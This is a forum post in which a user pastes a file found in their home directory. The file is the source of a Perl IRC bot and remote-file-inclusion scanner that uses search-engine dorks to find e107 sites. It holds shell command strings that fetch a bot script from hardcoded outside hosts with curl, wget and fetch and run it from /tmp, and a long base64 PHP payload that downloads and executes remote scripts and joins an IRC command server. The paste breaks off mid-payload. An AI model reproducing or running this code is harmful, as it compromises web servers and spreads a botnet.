perdlo
June 23rd, 2011, 11:37 PM
Here is the contents of the file src.txt that I found in my home directory:
#!/usr/bin/perl
my $aboutbot='
################################
# Origins RFI CRACK Bot v2.5 #
# By Xmen Nov 2010. #
# Xcode@writeme.com #
################################
';
print($aboutbot);
use strict;
use Socket;
use IO::Select;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use URI::Escape;
my @dorxzz = ("e107","contact e107","username: e107","e107 powered by e107","password: e107","contact details e107","contact us e107","e107 contact","contact.php e107");
my $dorxz = $dorxzz[rand(scalar(@dorxzz))];
my $versi = "SHG ScAnner GetPHPbot";
my @cmdpreZ = ("!");
my $cmdpre = $cmdpreZ[rand(scalar(@cmdpreZ))];
##[ KONFIGURASI URL ]##
my $myurl = "http://www.freewebtown.com/origins/";
my $Ckrid = $myurl."Ckrid1.txt?";
my $Ckrid2 = $myurl."Ckrid2.txt?";
my $spread = $myurl."x.txt?";
my $spread2 = $myurl."x.txt?";
my $joomlaz = $myurl."joomla.txt";
my $e107cmdsp = "cd /tmp; rm -rf b2*; curl -O http://www.grupoakro.com/tienda/images/rficrackbot.txt; wget http://www.grupoakro.com/tienda/images/rficrackbot.txt; lwp-download http://www.grupoakro.com/tienda/images/rficrackbot.txt; fetch http://www.grupoakro.com/tienda/images/rficrackbot.txt; perl rficrackbot.txt; rm -rf bot.*";
my $e107cmdsp2 = "cd /var/tmp; rm -rf b1*; curl -O http://www.grupoakro.com/tienda/images/rficrackbot.txt; wget http://www.grupoakro.com/tienda/images/rficrackbot.txt; fetch http://www.grupoakro.com/tienda/images/rficrackbot.txt; perl rficrackbot.txt";
my $e107cmdsp3 = "cd /var/tmp; rm -rf new*; wget http://www.grupoakro.com/tienda/images/rficrackbot.txt; curl -O http://www.grupoakro.com/tienda/images/rficrackbot.txt; lwp-download http://www.grupoakro.com/tienda/images/rficrackbot.txt; fetch http://www.grupoakro.com/tienda/images/rficrackbot.txt; perl rficrackbot.txt";
my $bypass = "http://www.aminef.or.id/images/google.php?";
my $prl = "
echo(base64_decode(\"Voo\").php_uname().base64_decode(\"Doo\"));eval(base64_decode(\"c2V0X3RpbWVfbGltaXQoMCk7IA0KZXJyb3JfcmVwb3J0aW5nKD ApOyANCg0KJHVybFsyXSA9ICJodHRwOi8vd3d3LmNvb2xlcmdh cy5jb20vLm1vZHMvc2NuLnR4dCI7DQokc2ZlWzJdID0gInNlc3 Nfc2RmNTQ1NHQ0dHk4NWdzZDU4IjsNCg0KZXhlYygid2dldCAi LiR1cmxbMl0uIiAtTyAiLiRzZmVbMl0uIjsgY2htb2QgNzU1IC IuJHNmZVsyXS4iOyBwZXJsICIuJHNmZVsyXS4iKiIpOw0KZXhl YygiZmV0Y2ggLU8gIi4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7IG NobW9kIDc1NSAiLiRzZmVbMl0uIjsgcGVybCAiLiRzZmVbMl0u IioiKTsNCmV4ZWMoImNVcmwgLU8gIi4kc2ZlWzJdLiIgIi4kdX JsWzJdLiI7IGNobW9kIDc1NSAiLiRzZmVbMl0uIjsgcGVybCAi LiRzZmVbMl0uIioiKTsNCmV4ZWMoImx5bnggLWR1bXAgIi4kdX JsWzJdLiIgIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAiLiRzZmVb Ml0uIjsgcGVybCAiLiRzZmVbMl0uIioiKTsNCmV4ZWMoIkdFVC AiLiR1cmxbMl0uIj4iLiRzZmVbMl0uIjsgY2htb2QgNzU1ICIu JHNmZVsyXS4iOyBwZXJsICIuJHNmZVsyXS4iKiIpOw0KZXhlYy gibHdwLWRvd25sb2FkICIuJHVybFsyXS4iICIuJHNmZVsyXS4i OyBjaG1vZCA3NTUgIi4kc2ZlWzJdLiI7IHBlcmwgIi4kc2ZlWz JdLiIqIik7DQpzaGVsbF9leGVjKCJ3Z2V0ICIuJHVybFsyXS4i IC1PICIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgIi4kc2ZlWzJdLi I7IHBlcmwgIi4kc2ZlWzJdLiIqIik7DQpzaGVsbF9leGVjKCJm ZXRjaCAtTyAiLiRzZmVbMl0uIiAiLiR1cmxbMl0uIjsgY2htb2 QgNzU1ICIuJHNmZVsyXS4iOyBwZXJsICIuJHNmZVsyXS4iKiIp Ow0Kc2hlbGxfZXhlYygiY1VybCAtTyAiLiRzZmVbMl0uIiAiLi R1cmxbMl0uIjsgY2htb2QgNzU1ICIuJHNmZVsyXS4iOyBwZXJs ICIuJHNmZVsyXS4iKiIpOw0Kc2hlbGxfZXhlYygibHlueCAtZH VtcCAiLiR1cmxbMl0uIiAiLiRzZmVbMl0uIjsgY2htb2QgNzU1 ICIuJHNmZVsyXS4iOyBwZXJsICIuJHNmZVsyXS4iKiIpOw0Kc2 hlbGxfZXhlYygiR0VUICIuJHVybFsyXS4iPiIuJHNmZVsyXS4i OyBjaG1vZCA3NTUgIi4kc2ZlWzJdLiI7IHBlcmwgIi4kc2ZlWz JdLiIqIik7DQpzaGVsbF9leGVjKCJsd3AtZG93bmxvYWQgIi4k dXJsWzJdLiIgIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAiLiRzZm VbMl0uIjsgcGVybCAiLiRzZmVbMl0uIioiKTsNCnN5c3RlbSgi d2dldCAiLiR1cmxbMl0uIiAtTyAiLiRzZmVbMl0uIjsgY2htb2 QgNzU1ICIuJHNmZVsyXS4iOyBwZXJsICIuJHNmZVsyXS4iKiIp Ow0Kc3lzdGVtKCJmZXRjaCAtTyAiLiRzZmVbMl0uIiAiLiR1cm xbMl0uIjsgY2htb2QgNzU1ICIuJHNmZVsyXS4iOyBwZXJsICIu JHNmZVsyXS4iKiIpOw0Kc3lzdGVtKCJjVXJsIC1PICIuJHNmZV syXS4iICIuJHVybFsyXS4iOyBjaG1vZCA3NTUgIi4kc2ZlWzJd LiI7IHBlcmwgIi4kc2ZlWzJdLiIqIik7DQpzeXN0ZW0oImx5bn ggLWR1bXAgIi4kdXJsWzJdLiIgIi4kc2ZlWzJdLiI7IGNobW9k IDc1NSAiLiRzZmVbMl0uIjsgcGVybCAiLiRzZmVbMl0uIioiKT sNCnN5c3RlbSgiR0VUICIuJHVybFsyXS4iPiIuJHNmZVsyXS4i OyBjaG1vZCA3NTUgIi4kc2ZlWzJdLiI7IHBlcmwgIi4kc2ZlWz JdLiIqIik7DQpzeXN0ZW0oImx3cC1kb3dubG9hZCAiLiR1cmxb Ml0uIiAiLiRzZmVbMl0uIjsgY2htb2QgNzU1ICIuJHNmZVsyXS 4iOyBwZXJsICIuJHNmZVsyXS4iKiIpOw0KcGFzc3RocnUoIndn ZXQgIi4kdXJsWzJdLiIgLU8gIi4kc2ZlWzJdLiI7IGNobW9kID c1NSAiLiRzZmVbMl0uIjsgcGVybCAiLiRzZmVbMl0uIioiKTsN CnBhc3N0aHJ1KCJmZXRjaCAtTyAiLiRzZmVbMl0uIiAiLiR1cm xbMl0uIjsgY2htb2QgNzU1ICIuJHNmZVsyXS4iOyBwZXJsICIu JHNmZVsyXS4iKiIpOw0KcGFzc3RocnUoImNVcmwgLU8gIi4kc2 ZlWzJdLiIgIi4kdXJsWzJdLiI7IGNobW9kIDc1NSAiLiRzZmVb Ml0uIjsgcGVybCAiLiRzZmVbMl0uIioiKTsNCnBhc3N0aHJ1KC JseW54IC1kdW1wICIuJHVybFsyXS4iICIuJHNmZVsyXS4iOyBj aG1vZCA3NTUgIi4kc2ZlWzJdLiI7IHBlcmwgIi4kc2ZlWzJdLi IqIik7DQpwYXNzdGhydSgiR0VUICIuJHVybFsyXS4iPiIuJHNm ZVsyXS4iOyBjaG1vZCA3NTUgIi4kc2ZlWzJdLiI7IHBlcmwgIi 4kc2ZlWzJdLiIqIik7DQpwYXNzdGhydSgibHdwLWRvd25sb2Fk ICIuJHVybFsyXS4iICIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgIi 4kc2ZlWzJdLiI7IHBlcmwgIi4kc2ZlWzJdLiIqIik7DQovLy0t IC90bXANCmV4ZWMoIndnZXQgIi4kdXJsWzJdLiIgLU8gL3RtcC 8iLiRzZmVbMl0uIjsgY2htb2QgNzU1IC90bXAvIi4kc2ZlWzJd LiI7IHBlcmwgL3RtcC8iLiRzZmVbMl0uIioiKTsNCmV4ZWMoIm ZldGNoIC1PIC90bXAvIi4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7 IGNobW9kIDc1NSAvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC90bX AvIi4kc2ZlWzJdLiIqIik7DQpleGVjKCJjVXJsIC1PIC90bXAv Ii4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7IGNobW9kIDc1NSAvdG 1wLyIuJHNmZVsyXS4iOyBwZXJsIC90bXAvIi4kc2ZlWzJdLiIq Iik7DQpleGVjKCJseW54IC1kdW1wICIuJHVybFsyXS4iIC90bX AvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdG1wLyIuJHNmZVsy XS4iOyBwZXJsIC90bXAvIi4kc2ZlWzJdLiIqIik7DQpleGVjKC JHRVQgIi4kdXJsWzJdLiI+L3RtcC8iLiRzZmVbMl0uIjsgY2ht b2QgNzU1IC90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3RtcC8iLi RzZmVbMl0uIioiKTsNCmV4ZWMoImx3cC1kb3dubG9hZCAiLiR1 cmxbMl0uIiAvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3 RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS4i KiIpOw0Kc2hlbGxfZXhlYygid2dldCAiLiR1cmxbMl0uIiAtTy AvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3RtcC8iLiRz ZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS4iKiIpOw0Kc2 hlbGxfZXhlYygiZmV0Y2ggLU8gL3RtcC8iLiRzZmVbMl0uIiAi LiR1cmxbMl0uIjsgY2htb2QgNzU1IC90bXAvIi4kc2ZlWzJdLi I7IHBlcmwgL3RtcC8iLiRzZmVbMl0uIioiKTsNCnNoZWxsX2V4 ZWMoImNVcmwgLU8gL3RtcC8iLiRzZmVbMl0uIiAiLiR1cmxbMl 0uIjsgY2htb2QgNzU1IC90bXAvIi4kc2ZlWzJdLiI7IHBlcmwg L3RtcC8iLiRzZmVbMl0uIioiKTsNCnNoZWxsX2V4ZWMoImx5bn ggLWR1bXAgIi4kdXJsWzJdLiIgL3RtcC8iLiRzZmVbMl0uIjsg Y2htb2QgNzU1IC90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3RtcC 8iLiRzZmVbMl0uIioiKTsNCnNoZWxsX2V4ZWMoIkdFVCAiLiR1 cmxbMl0uIj4vdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3 RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS4i KiIpOw0Kc2hlbGxfZXhlYygibHdwLWRvd25sb2FkICIuJHVybF syXS4iIC90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdG1w LyIuJHNmZVsyXS4iOyBwZXJsIC90bXAvIi4kc2ZlWzJdLiIqIi k7DQpzeXN0ZW0oIndnZXQgIi4kdXJsWzJdLiIgLU8gL3RtcC8i LiRzZmVbMl0uIjsgY2htb2QgNzU1IC90bXAvIi4kc2ZlWzJdLi I7IHBlcmwgL3RtcC8iLiRzZmVbMl0uIioiKTsNCnN5c3RlbSgi ZmV0Y2ggLU8gL3RtcC8iLiRzZmVbMl0uIiAiLiR1cmxbMl0uIj sgY2htb2QgNzU1IC90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3Rt cC8iLiRzZmVbMl0uIioiKTsNCnN5c3RlbSgiY1VybCAtTyAvdG 1wLyIuJHNmZVsyXS4iICIuJHVybFsyXS4iOyBjaG1vZCA3NTUg L3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS 4iKiIpOw0Kc3lzdGVtKCJseW54IC1kdW1wICIuJHVybFsyXS4i IC90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdG1wLyIuJH NmZVsyXS4iOyBwZXJsIC90bXAvIi4kc2ZlWzJdLiIqIik7DQpz eXN0ZW0oIkdFVCAiLiR1cmxbMl0uIj4vdG1wLyIuJHNmZVsyXS 4iOyBjaG1vZCA3NTUgL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAv dG1wLyIuJHNmZVsyXS4iKiIpOw0Kc3lzdGVtKCJsd3AtZG93bm xvYWQgIi4kdXJsWzJdLiIgL3RtcC8iLiRzZmVbMl0uIjsgY2ht b2QgNzU1IC90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3RtcC8iLi RzZmVbMl0uIioiKTsNCnBhc3N0aHJ1KCJ3Z2V0ICIuJHVybFsy XS4iIC1PIC90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdG 1wLyIuJHNmZVsyXS4iOyBwZXJsIC90bXAvIi4kc2ZlWzJdLiIq Iik7DQpwYXNzdGhydSgiZmV0Y2ggLU8gL3RtcC8iLiRzZmVbMl 0uIiAiLiR1cmxbMl0uIjsgY2htb2QgNzU1IC90bXAvIi4kc2Zl WzJdLiI7IHBlcmwgL3RtcC8iLiRzZmVbMl0uIioiKTsNCnBhc3 N0aHJ1KCJjVXJsIC1PIC90bXAvIi4kc2ZlWzJdLiIgIi4kdXJs WzJdLiI7IGNobW9kIDc1NSAvdG1wLyIuJHNmZVsyXS4iOyBwZX JsIC90bXAvIi4kc2ZlWzJdLiIqIik7DQpwYXNzdGhydSgibHlu eCAtZHVtcCAiLiR1cmxbMl0uIiAvdG1wLyIuJHNmZVsyXS4iOy BjaG1vZCA3NTUgL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdG1w LyIuJHNmZVsyXS4iKiIpOw0KcGFzc3RocnUoIkdFVCAiLiR1cm xbMl0uIj4vdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3Rt cC8iLiRzZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS4iKi IpOw0KcGFzc3RocnUoImx3cC1kb3dubG9hZCAiLiR1cmxbMl0u IiAvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3RtcC8iLi RzZmVbMl0uIjsgcGVybCAvdG1wLyIuJHNmZVsyXS4iKiIpOw0K Ly8tLSAvdmFyL3RtcA0KZXhlYygid2dldCAiLiR1cmxbMl0uIi AtTyAvdmFyL3RtcC8iLiRzZmVbMl0uIjsgY2htb2QgNzU1IC92 YXIvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG1wLyIuJH NmZVsyXS4iKiIpOw0KZXhlYygiZmV0Y2ggLU8gL3Zhci90bXAv Ii4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7IGNobW9kIDc1NSAvdm FyL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8iLiRz ZmVbMl0uIioiKTsNCmV4ZWMoImNVcmwgLU8gL3Zhci90bXAvIi 4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7IGNobW9kIDc1NSAvdmFy L3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8iLiRzZm VbMl0uIioiKTsNCmV4ZWMoImx5bnggLWR1bXAgIi4kdXJsWzJd LiIgL3Zhci90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdm FyL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8iLiRz ZmVbMl0uIioiKTsNCmV4ZWMoIkdFVCAiLiR1cmxbMl0uIj4vdm FyL3RtcC8iLiRzZmVbMl0uIjsgY2htb2QgNzU1IC92YXIvdG1w LyIuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG1wLyIuJHNmZVsyXS 4iKiIpOw0KZXhlYygibHdwLWRvd25sb2FkICIuJHVybFsyXS4i IC92YXIvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3Zhci 90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3Zhci90bXAvIi4kc2Zl WzJdLiIqIik7DQpzaGVsbF9leGVjKCJ3Z2V0ICIuJHVybFsyXS 4iIC1PIC92YXIvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUg L3Zhci90bXAvIi4kc2ZlWzJdLiI7IHBlcmwgL3Zhci90bXAvIi 4kc2ZlWzJdLiIqIik7DQpzaGVsbF9leGVjKCJmZXRjaCAtTyAv dmFyL3RtcC8iLiRzZmVbMl0uIiAiLiR1cmxbMl0uIjsgY2htb2 QgNzU1IC92YXIvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC92YXIv dG1wLyIuJHNmZVsyXS4iKiIpOw0Kc2hlbGxfZXhlYygiY1VybC AtTyAvdmFyL3RtcC8iLiRzZmVbMl0uIiAiLiR1cmxbMl0uIjsg Y2htb2QgNzU1IC92YXIvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC 92YXIvdG1wLyIuJHNmZVsyXS4iKiIpOw0Kc2hlbGxfZXhlYygi bHlueCAtZHVtcCAiLiR1cmxbMl0uIiAvdmFyL3RtcC8iLiRzZm VbMl0uIjsgY2htb2QgNzU1IC92YXIvdG1wLyIuJHNmZVsyXS4i OyBwZXJsIC92YXIvdG1wLyIuJHNmZVsyXS4iKiIpOw0Kc2hlbG xfZXhlYygiR0VUICIuJHVybFsyXS4iPi92YXIvdG1wLyIuJHNm ZVsyXS4iOyBjaG1vZCA3NTUgL3Zhci90bXAvIi4kc2ZlWzJdLi I7IHBlcmwgL3Zhci90bXAvIi4kc2ZlWzJdLiIqIik7DQpzaGVs bF9leGVjKCJsd3AtZG93bmxvYWQgIi4kdXJsWzJdLiIgL3Zhci 90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdmFyL3RtcC8i LiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8iLiRzZmVbMl0uIi oiKTsNCnN5c3RlbSgid2dldCAiLiR1cmxbMl0uIiAtTyAvdmFy L3RtcC8iLiRzZmVbMl0uIjsgY2htb2QgNzU1IC92YXIvdG1wLy IuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG1wLyIuJHNmZVsyXS4i KiIpOw0Kc3lzdGVtKCJmZXRjaCAtTyAvdmFyL3RtcC8iLiRzZm VbMl0uIiAiLiR1cmxbMl0uIjsgY2htb2QgNzU1IC92YXIvdG1w LyIuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG1wLyIuJHNmZVsyXS 4iKiIpOw0Kc3lzdGVtKCJjVXJsIC1PIC92YXIvdG1wLyIuJHNm ZVsyXS4iICIuJHVybFsyXS4iOyBjaG1vZCA3NTUgL3Zhci90bX AvIi4kc2ZlWzJdLiI7IHBlcmwgL3Zhci90bXAvIi4kc2ZlWzJd LiIqIik7DQpzeXN0ZW0oImx5bnggLWR1bXAgIi4kdXJsWzJdLi IgL3Zhci90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NSAvdmFy L3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8iLiRzZm VbMl0uIioiKTsNCnN5c3RlbSgiR0VUICIuJHVybFsyXS4iPi92 YXIvdG1wLyIuJHNmZVsyXS4iOyBjaG1vZCA3NTUgL3Zhci90bX AvIi4kc2ZlWzJdLiI7IHBlcmwgL3Zhci90bXAvIi4kc2ZlWzJd LiIqIik7DQpzeXN0ZW0oImx3cC1kb3dubG9hZCAiLiR1cmxbMl 0uIiAvdmFyL3RtcC8iLiRzZmVbMl0uIjsgY2htb2QgNzU1IC92 YXIvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG1wLyIuJH NmZVsyXS4iKiIpOw0KcGFzc3RocnUoIndnZXQgIi4kdXJsWzJd LiIgLU8gL3Zhci90bXAvIi4kc2ZlWzJdLiI7IGNobW9kIDc1NS AvdmFyL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFyL3RtcC8i LiRzZmVbMl0uIioiKTsNCnBhc3N0aHJ1KCJmZXRjaCAtTyAvdm FyL3RtcC8iLiRzZmVbMl0uIiAiLiR1cmxbMl0uIjsgY2htb2Qg NzU1IC92YXIvdG1wLyIuJHNmZVsyXS4iOyBwZXJsIC92YXIvdG 1wLyIuJHNmZVsyXS4iKiIpOw0KcGFzc3RocnUoImNVcmwgLU8g L3Zhci90bXAvIi4kc2ZlWzJdLiIgIi4kdXJsWzJdLiI7IGNobW 9kIDc1NSAvdmFyL3RtcC8iLiRzZmVbMl0uIjsgcGVybCAvdmFy L3RtcC8iLiRzZmVbMl0uIioiKTsNCnBhc3N0aHJ1KCJseW54IC 1kdW1wICIuJHVybFsyXS4iIC92YXIvdG1wLyIuJHNmZVsyXS4i OyBjaG1vZCA3NTUgL3Zhci90bXAvIi4kc2ZlWzJdLiI7IHBlcm wgL3Zhci90bXAvIi4kc2ZlWzJdLiIqIik7DQpwYXNzdGhydSgi R0VUICIuJHVybFsyXS4iPi92YXIvdG1wLyIuJHNmZVsyXS4iOy BjaG1vZCA3NTUgL3Zhci90bXAvIi4kc2ZlWzJdLiI7IHBlcmwg L3Zhci90bXAvIi4kc2ZlWzJdLiIqIik7DQpwYXNzdGhydSgibH dwLWRvd25sb2FkICIuJHVybFsyXS4iIC92YXIvdG1wLyIuJHNm ZVsyXS4iOyBjaG1vZCA3NTUgL3Zhci90bXAvIi4kc2ZlWzJdLi I7IHBlcmwgL3Zhci90bXAvIi4kc2ZlWzJdLiIqIik7DQoNCmNs YXNzIHBCb3Qgew0KDQogdmFyICRjb25maWcgPSBhcnJheSgic2 VydmVyIj0+ImYyMDExLmtuYXF1LmV1IiwNCiAgICAgICAgICAg ICAgICAgICAgICJwb3J0Ij0+IjQyNDQiLA0KICAgICAgICAgIC AgICAgICAgICAgInBhc3MiPT4iIiwNCiAgICAgICAgICAgICAg ICAgICAgICJtYXhyYW5kIj0+IjQiLA0KICAgICAgICAgICAgIC AgICAgICAgImNoYW4iPT4iIyNsaW51eCMjIiwNCiAgICAgICAg ICAgICAgICAgICAgICJjaGFuMiI9PiIjI2xpbnV4IyMiLA0KIC AgICAgICAgICAgICAgICAgICAgImtleSI9PiJzY2FuIiwNCiAg ICAgICAgICAgICAgICAgICAgICJtb2RlcyI9PiIrcCIsDQogIC AgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiPT4ieWVzIiwN CiAgICAgICAgICAgICAgICAgICAgICJ0cmlnZ2VyIj0+Ii4iLA 0KICAgICAgICAgICAgICAgICAgICAgImhvc3RhdXRoIj0+Iioi DQogICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgIC AgICAgICAgICAgIHZhciAkdXNlcnMgPSBhcnJheSgpOyANCiBm dW5jdGlvbiBzdGFydCgpIA0KIHsgDQogICAgaWYoISgkdGhpcy 0+Y29ubiA9IGZzb2Nrb3BlbigkdGhpcy0+Y29uZmlnWydzZXJ2 ZXInXSwkdGhpcy0+Y29uZmlnWydwb3J0J10sJGUsJHMsMzApKS kgDQogICAgICAgJHRoaXMtPnN0YXJ0KCk7IA0KICAgICMkaWRl bnQgPSAkdGhpcy0+Y29uZmlnWydwcmVmaXgnXTsNCg0KCSMkaW RlbnQgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAx KV07DQoNCiAgICAkYWxwaCA9IHJhbmdlKCIwIiwiOSIpOw0KIC AgIGZvcigkaT0wOyRpPCR0aGlzLT5jb25maWdbJ21heHJhbmQn XTskaSsrKSANCiAgICAgICAjJGlkZW50IC49ICRhbHBoW3Jhbm QoMCw5KV07DQogICAgaWYoc3RybGVuKCR0aGlzLT5jb25maWdb J3Bhc3MnXSk+MCkgDQogICAgICAgJHRoaXMtPnNlbmQoIlBBU1 MgIi4kdGhpcy0+Y29uZmlnWydwYXNzJ10pOw0KICAgICMkdGhp cy0+c2VuZCgiVVNFUiAiLiRpZGVudC4iIDEyNy4wLjAuMSBsb2 NhbGhvc3QgOiIucGhwX3VuYW1lKCkuIiIpOw0KCSR0aGlzLT5z ZXRfaWRlbnQoKTsNCiAgICAkdGhpcy0+c2V0X25pY2soKTsNCi AgICAkdGhpcy0+bWFpbigpOw0KIH0gDQogDQogZnVuY3Rpb24g bWFpbigpIA0KIHsgDQogICAgd2hpbGUoIWZlb2YoJHRoaXMtPm Nvbm4pKSANCiAgICB7IA0KICAgICAgICR0aGlzLT5idWYgPSB0 cmltKGZnZXRzKCR0aGlzLT5jb25uLDUxMikpOyANCiAgICAgIC AkY21kID0gZXhwbG9kZSgiICIsJHRoaXMtPmJ1Zik7IA0KICAg ICAgIGlmKHN1YnN0cigkdGhpcy0+YnVmLDAsNik9PSJQSU5HID oiKSANCiAgICAgICB7IA0KICAgICAgICAgICR0aGlzLT5zZW5k KCJQT05HIDoiLnN1YnN0cigkdGhpcy0+YnVmLDYpKTsgDQogIC AgICAgfSANCiAgICAgICBpZihpc3NldCgkY21kWzFdKSAmJiAk Y21kWzFdID09IjAwMSIpIA0KICAgICAgIHsgDQogICAgICAgIC AgJHRoaXMtPnNlbmQoIk1PREUgIi4kdGhpcy0+bmljay4iICIu JHRoaXMtPmNvbmZpZ1snbW9kZXMnXSk7IA0KICAgICAgICAgIC R0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hh biddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7DQogIC AgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hh biddLCR0aGlzLT5jb25maWdbJ2tleSddKTsNCiAgICAgICB9IA 0KCSAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV0gPT0i MDAyIikgDQogICAgICAgeyANCiAgICAgICAgICBpZiAoQGluaV 9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9n ZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7ICRzYWZlbW9kZS A9ICIDNE9OAyI7IH0NCiAgICAgICAgICBlbHNlIHsgJHNhZmVt b2RlID0gIgM5T0ZGAyI7IH0NCgkJICANCgkJICAkdXNyID0gZ2 V0X2N1cnJlbnRfdXNlcigpOw0KCQkJaWYgKCR1c3IgPT0gIiIp IHsgDQoJCQkJJHByb2Nlc3NVc2VyID0gcG9zaXhfZ2V0cHd1aW QocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJCQkkdXNyID0gJHByb2Nl c3NVc2VyWyduYW1lJ107IA0KCQkJfQ0KDQoJCSAgJHVzcm5uID 0gIgMxNCIuJHVzci4iAyI7DQoJCSAgDQoJCSAgaWYoJHVzciA9 PSAicm9vdCIpIHsgJHVzcm4gPSAiAzEyAiIuJHVzci4iAgMiOy B9DQoJCSAgaWYoJHVzciA9PSAiU1lTVEVNIikgeyAkdXNybiA9 ICIDMTICIi4kdXNyLiICAyI7IH0JCSANCgkJDQoJCSAgJG1uYW 1lID0gIgMxNCIucGhwX3VuYW1lKCkuIgMiOw0KCQkgICR1cmwg PSAiAzE0aHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ1 0uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIgMiOw0KCQkg ICRwdGggPSAiAzE0Ii5nZXRjd2QoKS4iAyI7DQoJCSAgDQoJCQ kkcHRoaCA9ICBnZXRjd2QoKS4iIjsNCiAgICAgICAgICAgIGNo bW9kKCRwdGhoLCAwNzU1KTsNCgkJCSRwZXJtcyA9IGZpbGVwZX JtcygiJHB0aGgiKTsNCg0KCQlpZiAoKCRwZXJtcyAmIDB4QzAw MCkgPT0gMHhDMDAwKSB7ICRpbmZvID0gJ3MnOw0KCQl9IGVsc2 VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRp bmZvID0gJ2wnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4OD AwMCkgPT0gMHg4MDAwKSB7ICRpbmZvID0gJy0nOw0KCQl9IGVs c2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7IC RpbmZvID0gJ2InOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4 NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOw0KCQl9IG Vsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7 ICRpbmZvID0gJ2MnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmID B4MTAwMCkgPT0gMHgxMDAwKSB7ICRpbmZvID0gJ3AnOw0KCQl9 IGVsc2UgeyAkaW5mbyA9ICd1JzsgfQ0KDQoJCS8vIE93bmVyDQ oJCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJCSRpbmZvIC49ICgoJHBlcm1zICYgMH gwMDgwKSA/ICd3JyA6ICctJyk7DQoJCSRpbmZvIC49ICgoJHBlcm1zICYgMH gwMDQwKSA/DQoJCQkJCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCgkJCQkJKCgkcGVybXMgJiAweDA4MD ApID8gJ1MnIDogJy0nKSk7DQoNCgkJLy8gR3JvdXANCgkJJGlu Zm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKT sNCgkJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cn IDogJy0nKTsNCgkJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMD 